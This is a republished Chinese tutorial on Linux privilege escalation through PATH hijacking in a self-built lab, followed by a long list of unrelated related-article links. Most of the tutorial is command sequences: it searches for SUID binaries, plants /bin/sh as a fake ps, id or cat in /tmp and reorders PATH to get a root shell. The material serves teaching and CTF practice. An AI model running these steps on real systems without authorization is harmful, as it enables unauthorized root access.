如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 2018-07-05 09:50 次阅读

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

如何在Linux下如何删除大量文件的详细资料概述

本文档的主要内容详细介绍的是如何在Linux下删除大量文件的过程详细资料概述免费下载。

发表于 11-14 17:10 6次 阅读
如何在Linux下如何删除大量文件的详细资料概述

Linux USB鼠标驱动编写调试

USB 总线引出两个重要的链表! 一个 USB 总线引出两个重要的链表,一个为 USB 设备链表,一个为 USB 驱动链表。设备...

发表于 11-14 16:51 177次 阅读
Linux USB鼠标驱动编写调试

基于Linux的温度传感器DS18B20驱动程序设计

  引言   传统的模拟温度测量抗干扰能力差,放大电路零点漂移大,导致测量值误差大,难以达到所需精度。在实际应用中,采用...

发表于 11-14 15:24 10次 阅读
基于Linux的温度传感器DS18B20驱动程序设计

怎么在v12.1 Linux 64位安装中找到用户将需要的所有命令行命令的列表

我们有一个APP服务器和包装器脚本设置,要求我们在一个单独的命令文件中列出所有命令。我应该在'bin'目录中查找? 如果是这样...

发表于 11-14 10:31 9次 阅读
怎么在v12.1 Linux 64位安装中找到用户将需要的所有命令行命令的列表

Vivado 2017.4和2018.2不同的Linux和Windows之间的实现结果

嗨, 我有一个越来越难以在Vivado 2017.4中路由的设计。 我的大多数运行都是在Linux上完成的。 我也尝试过使用Windows机器...

发表于 11-14 10:04 13次 阅读
Vivado 2017.4和2018.2不同的Linux和Windows之间的实现结果

CIFS与NFS有什么区别

Microsoft推出SMB(server message block)后,进一步发展,使其扩展到I....

发表于 11-13 17:55 13次 阅读
CIFS与NFS有什么区别

基于TQ2440和Linux的触摸屏驱动研究

     随着信息查询技术的发展, 触摸屏因具有坚固耐用、反应速度快、节省空间、易于交流等优点, 而得到了广...

发表于 11-13 16:29 34次 阅读
基于TQ2440和Linux的触摸屏驱动研究

基于Linux的无线传感器网络引导程序设计

  摘 要:针对无线传感器网络的结构特点及对无线可移动终端的需求,分析了Linux操作系统的启动过程,提出了无线传感器网络可移...

发表于 11-13 16:25 49次 阅读
基于Linux的无线传感器网络引导程序设计

MPLABX 4.10开始时崩溃,4.05正常

刚刚安装的MPLABX 4.10升级为4.05,Kuuntuu 17.10 LINUX.4.05运行良好,但4.10达到工作空间,与菜单栏和图标,但无论...

发表于 11-13 15:35 39次 阅读
MPLABX 4.10开始时崩溃,4.05正常

芯灵思SinA33开发板虚拟机编译QT与Linux

编译QT进入 QT 源码所在路径,直接运行 build.sh 即可,另外可根据自己的需求修改 build.sh 中的 QT 配置 选项[code]cd /r...

发表于 11-13 09:12 41次 阅读
芯灵思SinA33开发板虚拟机编译QT与Linux

使用英特尔编译器优化Dijkstra最短路径图算法

我们使用英特尔®Cilk™Plus阵列表示法和OpenMP *并行程序的优化,在Linux *上优化....

的头像 英特尔 Altera视频 发表于 11-13 06:13 19次 观看
使用英特尔编译器优化Dijkstra最短路径图算法

可以使用S70GL02GS11FHI020作为S70GL02GS11FHI010的替代物吗?

你好, 我们可以使用S70GL02GS11FHI020作为S70GL02GS11FHI010的替代物吗? 我看到的唯一区别是XXXX10有最...

发表于 11-12 15:24 67次 阅读
可以使用S70GL02GS11FHI020作为S70GL02GS11FHI010的替代物吗?

怎么使用D435深度数据进行地面检测

我在使用ROS Kinetic的Linux系统上使用D435深度数据进行地面检测。 我需要识别向上/向下的斜坡和楼梯。 有没有办法做到这...

发表于 11-12 14:08 16次 阅读
怎么使用D435深度数据进行地面检测

使用英特尔ComposerXE 2015在C++中进行矩阵乘法

矩阵乘法:使用英特尔®数学核心函数库和C++测试英特尔®ComposerXE 2015

的头像 英特尔 Altera视频 发表于 11-12 06:42 40次 观看
使用英特尔ComposerXE 2015在C++中进行矩阵乘法

如何为您的NFV应用设置DPDK

如何为您的NFV应用设置DPDK

的头像 英特尔 Altera视频 发表于 11-12 06:37 63次 观看
如何为您的NFV应用设置DPDK

Linux桌面系统初级教程之如何进行软件安装和卸载

一般的Linux系统套件都包含了丰富的应用程序,但有时并不能满足实际需要。这时就要涉及到对低版本软件....

发表于 11-09 17:42 49次 阅读
Linux桌面系统初级教程之如何进行软件安装和卸载

Linux桌面系统初级教程之如何搭建个人网站

在一个被Windows垄断的办公环境中使用Linux办公,你就是少数,你就不得不照顾大多数人的习惯,....

发表于 11-09 17:42 51次 阅读
Linux桌面系统初级教程之如何搭建个人网站

Linux桌面系统初级教程之Shell命令行操作的资料概述

Linux shell指的是一种程序,有了它,用户就能通过键盘输入指令来操作计算机了。Shell会执....

发表于 11-09 17:42 41次 阅读
Linux桌面系统初级教程之Shell命令行操作的资料概述

Linux教程之如何配置网络连接的资料概述

本文档的主要内容详细介绍的是Linux教程之如何配置网络连接的资料概述学习目标:● 学会使用网络管理....

发表于 11-09 17:42 35次 阅读
Linux教程之如何配置网络连接的资料概述

区块链和Hyperledger Sawtooth的实现

了解有关Blockchain和Hyperledger的更多信息,这是由Linux基金会主办的一项协作....

的头像 英特尔 Altera视频 发表于 11-09 06:23 57次 观看
区块链和Hyperledger Sawtooth的实现

用于无人机的英特尔Aero计算板和视觉配件套件简介

英特尔®Aero计算板和视觉配件套件是即用型无人机(UAV)开发平台的一部分

的头像 英特尔 Altera视频 发表于 11-09 06:05 288次 观看
用于无人机的英特尔Aero计算板和视觉配件套件简介

第6部分:通过可访问性平衡优化和功能

在这次讨论中,David Scheltma,Adrian Bowyer,Stewart Christ....

的头像 英特尔 Altera视频 发表于 11-09 06:02 90次 观看
第6部分:通过可访问性平衡优化和功能

到底该如何学习嵌入式?

单纯的所谓的嵌入式其实只要动动手就能知道流程的,外面的所谓的嵌入式培训也就是做这个事情的,更重要的是....

的头像 电子发烧友网 发表于 11-08 11:11 243次 阅读
到底该如何学习嵌入式?

如何为Crosswalk项目建立Linux开发系统

英特尔开源技术中心的Bob Spencer解释了如何为Crosswalk项目建立Linux开发系统。....

的头像 英特尔 Altera视频 发表于 11-08 06:43 93次 观看
如何为Crosswalk项目建立Linux开发系统

使用英特尔HPC Orchestrator来提升仿真性能

DassaultSystèmes*和Nor-Tech *使用英特尔®HPCOrchestrator来....

的头像 英特尔 Altera视频 发表于 11-08 06:14 78次 观看
使用英特尔HPC Orchestrator来提升仿真性能

第5部分:对开源的意图和单板计算的未来

在我们结束对话时,Nathan Seidle解释了为英特尔®Edison模块上游Linux *内核的....

的头像 英特尔 Altera视频 发表于 11-08 06:08 69次 观看
第5部分:对开源的意图和单板计算的未来

Linux入门教程之LINUX入门与安装配置

本文档的主要内容详细介绍的是Linux入门教程之LINUX入门与安装配置主要内容包括了:1、入门篇安....

发表于 11-07 16:41 38次 阅读
Linux入门教程之LINUX入门与安装配置

Linux下挂载CIFS服务如何进行相关的判断

在mount前需要检查OS是否安装了samba插件,可以直接输入mount.cifs看是否有输出,如....

发表于 11-07 16:41 26次 阅读
Linux下挂载CIFS服务如何进行相关的判断

SMB和CIFS网络协议的详细资料总结

在NetBIOS出现之后,Microsoft就使用NetBIOS实现了一个网络文件/打印服务系统,这....

发表于 11-07 15:49 24次 阅读
SMB和CIFS网络协议的详细资料总结

如何在Win7与linux双系统时卸载linux详细方法概述

本文档的主要内容详细介绍的是如何在Win7与linux双系统时卸载linux详细方法概述

发表于 11-07 15:49 32次 阅读
如何在Win7与linux双系统时卸载linux详细方法概述

Linux教程之进程的概念和进程管理命令的使用

Linux是多用户、多任务的操作系统,它允许多个用户登录系统,使用系统中的各种资源,由操作系统为每个....

发表于 11-07 11:49 92次 阅读
Linux教程之进程的概念和进程管理命令的使用

Linux教程之网络配置文件与配置方法及常用网络操作命令

本文档的主要内容详细介绍的是Linux教程之网络配置文件与配置方法及常用网络操作命令详细资料免费下载....

发表于 11-07 11:49 28次 阅读
Linux教程之网络配置文件与配置方法及常用网络操作命令

使用英特尔数学核心函数库优化三重嵌套循环矩阵乘法

我们使用英特尔®数学核心函数库(MKL)在Linux *上优化了三重嵌套循环矩阵乘法的版本。

的头像 英特尔 Altera视频 发表于 11-07 06:04 102次 观看
使用英特尔数学核心函数库优化三重嵌套循环矩阵乘法

深入浅出的典型协议SMBCIFS协议分析

在NetBIOS出现之后,Microsoft就使用NetBIOS实现了一个网络文件/打印服务系统,这....

发表于 11-06 18:24 24次 阅读
深入浅出的典型协议SMBCIFS协议分析

Linux教程之文件传输FTP的工作原理和FTP的安装与配置方法

本文档的主要内容详细介绍的是Linux教程之文件传输FTP的工作原理和FTP的安装与配置方法。文件传....

发表于 11-06 17:33 29次 阅读
Linux教程之文件传输FTP的工作原理和FTP的安装与配置方法

跨平台的游戏开发框架LibGDX的介绍

LibGDX是一个跨平台的游戏开发框架,适用于Windows,Linux,Mac OS X,Andr....

的头像 英特尔 Altera视频 发表于 11-06 07:30 122次 观看
跨平台的游戏开发框架LibGDX的介绍

跨操作系统与英特尔Fortran编译器的兼容性探讨

Steve Lionel谈论Windows,Linux和OSX之间的跨操作系统兼容性。在一个平台上编....

的头像 英特尔 Altera视频 发表于 11-06 06:38 123次 观看
跨操作系统与英特尔Fortran编译器的兼容性探讨

linux的内核及其内核源码分析的资料概述

Linux系统的版本那么多,为什么要分析Linux0.11这个超级低的版本呢?答案是简单。高版本的代....

发表于 11-05 17:35 35次 阅读
linux的内核及其内核源码分析的资料概述

最新版本数据平面开发套件(DPDK)的功能介绍

了解最新版本的DPDK。每个版本附带的功能清单都是升级的,我们将描述每个版本如何影响在其应用程序中使....

的头像 英特尔 Altera视频 发表于 11-05 06:49 156次 观看
最新版本数据平面开发套件(DPDK)的功能介绍

在Linux内核中添加驱动程序的详细步骤

首先在drivers目录下面创建GPIO文件夹,,文件夹下面创建三个文件,分别是:gpio.c,Kc....

发表于 11-04 11:37 161次 阅读
在Linux内核中添加驱动程序的详细步骤

Linux操作系统的的起源和特点以安装和使用教程免费下载

 Linux 以它的高效性和灵活性著称。具有多任务、多用户的能力。Linux之所以受到广大计算机爱好....

发表于 11-02 15:15 39次 阅读
Linux操作系统的的起源和特点以安装和使用教程免费下载

Linux入门教程之如何进行文件打包和解压缩资料概述

在讲linux上的解压缩工具之前,有必要先了解以下常见常用的压缩包文件格式。在windows上我们最....

发表于 11-02 15:15 26次 阅读
Linux入门教程之如何进行文件打包和解压缩资料概述

Linux教程之如何对Linux系统下的gcc进行编程的基本使用教程

GCC是由GNU之父Stallman所开发的linux下的编译器,GCC最初的全名是GNU C Co....

发表于 11-02 15:15 24次 阅读
Linux教程之如何对Linux系统下的gcc进行编程的基本使用教程

如何进行Linux下的Apache性能分析总结详细资料说明

Linux是一种自由和开放源码的类Unix操作系统。目前存在着许多不同的Linux,但它们都使用了L....

发表于 11-02 15:15 22次 阅读
如何进行Linux下的Apache性能分析总结详细资料说明

基于嵌入式Linux视频的网络监控系统设计详解

随着计算机技术及网络技术的迅猛发展,公安、安防行业的发展趋势必然是全面数字化、网络化。传统的模拟闭路....

发表于 11-01 17:30 201次 阅读
基于嵌入式Linux视频的网络监控系统设计详解

vmware虚拟机使用教程资料免费下载

文章分为两部分:第一部分为虚拟机的创建。其中要求的知识:处理器、内存分配、网络地址转换(NAT)、I....

发表于 11-01 17:17 37次 阅读
vmware虚拟机使用教程资料免费下载

如何在嵌入式Linux中截屏

在桌面级操作系统中,下载一个截图软件就能实现截屏操作,但在嵌入式Linux系统中,要实现小小的截图功....

的头像 ZLG致远电子 发表于 11-01 16:10 314次 阅读
如何在嵌入式Linux中截屏

Linux操作系统实用教程之如何进行Linux系统下的编程管理

本文档的主要内容详细介绍的是Linux操作系统实用教程之如何进行Linux系统下的编程管理主要内容包....

发表于 11-01 10:51 30次 阅读
Linux操作系统实用教程之如何进行Linux系统下的编程管理

MultiFLEX 2-PXA270控制器的使用手册资料免费下载

MultiFLEX™2-PXA270 控制器的处理器是 Marvell Xscale PXA270,....

发表于 11-01 08:00 46次 阅读
MultiFLEX  2-PXA270控制器的使用手册资料免费下载

Linux操作系统实用教程之如何Linux系统的远程管理

本文档的主要内容详细介绍的是Linux操作系统实用教程之如何Linux系统的远程管理 主要内容是:1....

发表于 10-31 18:04 42次 阅读
Linux操作系统实用教程之如何Linux系统的远程管理

基于嵌入式Linux系统的电力远程自动抄表装置详解

我国社会经济的快速增长直接促进了电力工业的迅猛发展,电力需求不断增加,供应日趋紧张,如今的电力系统已....

发表于 10-31 17:44 156次 阅读
基于嵌入式Linux系统的电力远程自动抄表装置详解

以嵌入式系统作为移动终端的软件平台浅析

实时操作系统()是嵌入式应用软件的基础和开发平台,应用程序都是建立在它之上。实时嵌入式操作系统的种类....

发表于 10-31 17:36 101次 阅读
以嵌入式系统作为移动终端的软件平台浅析

Linux基础教程之如何在linux不解压tar.gz文件查看的文件大小资料概述

本文档的主要内容详细介绍的是Linux基础教程之如何在linux不解压tar.gz文件查看的文件大小....

发表于 10-31 17:06 28次 阅读
Linux基础教程之如何在linux不解压tar.gz文件查看的文件大小资料概述

Linux windows7双系统安装教程及一些关键问题的详细解答

 电脑小白写给各位还没有实践过但听说要安装双系统的小白。 希望高手指点,成功装Linux多次,并且....

发表于 10-31 17:04 48次 阅读
Linux windows7双系统安装教程及一些关键问题的详细解答

Linux基础教程之linux wget下载进度条变成多行显示如何解决

在之前为了 解决Putty客户端连接到CentOS之后显示乱码 的问题,设置了 LANG=zh_CN....

发表于 10-31 17:04 27次 阅读
Linux基础教程之linux wget下载进度条变成多行显示如何解决

Linux基础教程之linux命令的gzip详解和使用实例资料免费下载

gzip不仅可以用来压缩大的、较少使用的文件以节省磁盘空间,还可以和tar命令一起构成Linux操作....

发表于 10-31 17:04 25次 阅读
Linux基础教程之linux命令的gzip详解和使用实例资料免费下载

Linux系统误删除系统文件怎么办

首先在重新开机时当出现下面这个接界面时按esc进入到Boot Menu。(ps:手速要快,在进度条满....

的头像 马哥Linux运维 发表于 10-31 15:38 204次 阅读
Linux系统误删除系统文件怎么办

如何学习Linux详细的Linux学习心得资料免费下载

学习Linux,首先得了解它,linux是一种类unix的操作系统,在源代码级上兼容绝大部分的Uni....

发表于 10-30 19:13 58次 阅读
如何学习Linux详细的Linux学习心得资料免费下载

AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)

TI AM437x高性能处理器基于ARM Cortex-A9内核。 这些处理器通过3D图形加速得到增强,可实现丰富的图形用户界面,还配备了协处理器,用于进行确定性实时处理(包括EtherCAT,PROFIBUS,EnDat等工业通信协议)。该器件支持高级操作系统(HLOS)。基于Linux的® 可从TI免费获取。其它HLOS可从TI的设计网络和生态系统合作伙伴处获取。 这些器件支持对采用较低性能ARM内核的系统升级,并提供更新外设,包括QSPI-NOR和LPDDR2等存储器选项。 这些处理器包含功能方框图中显示的子系统,并且后跟相应的“说明”中添加了更多信息说明。 处理器子系统基于ARM Cortex-A9内核,PowerVR SGX™图形加速器子系统提供3D图形加速功能以支持显示和高级用户界面。 可编程实时单元子系统和工业通信子系统(PRU-ICSS与ARM内核分离,允许单独操作和计时,以实现更高的效率和灵活性.PRU-ICSS支持更多外设接口和EtherCAT,PROFINET,EtherNet /IP,PROFIBUS,以太网Powerlink,Sercos,EnDat等...

发表于 09-25 11:51 22次 阅读
AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)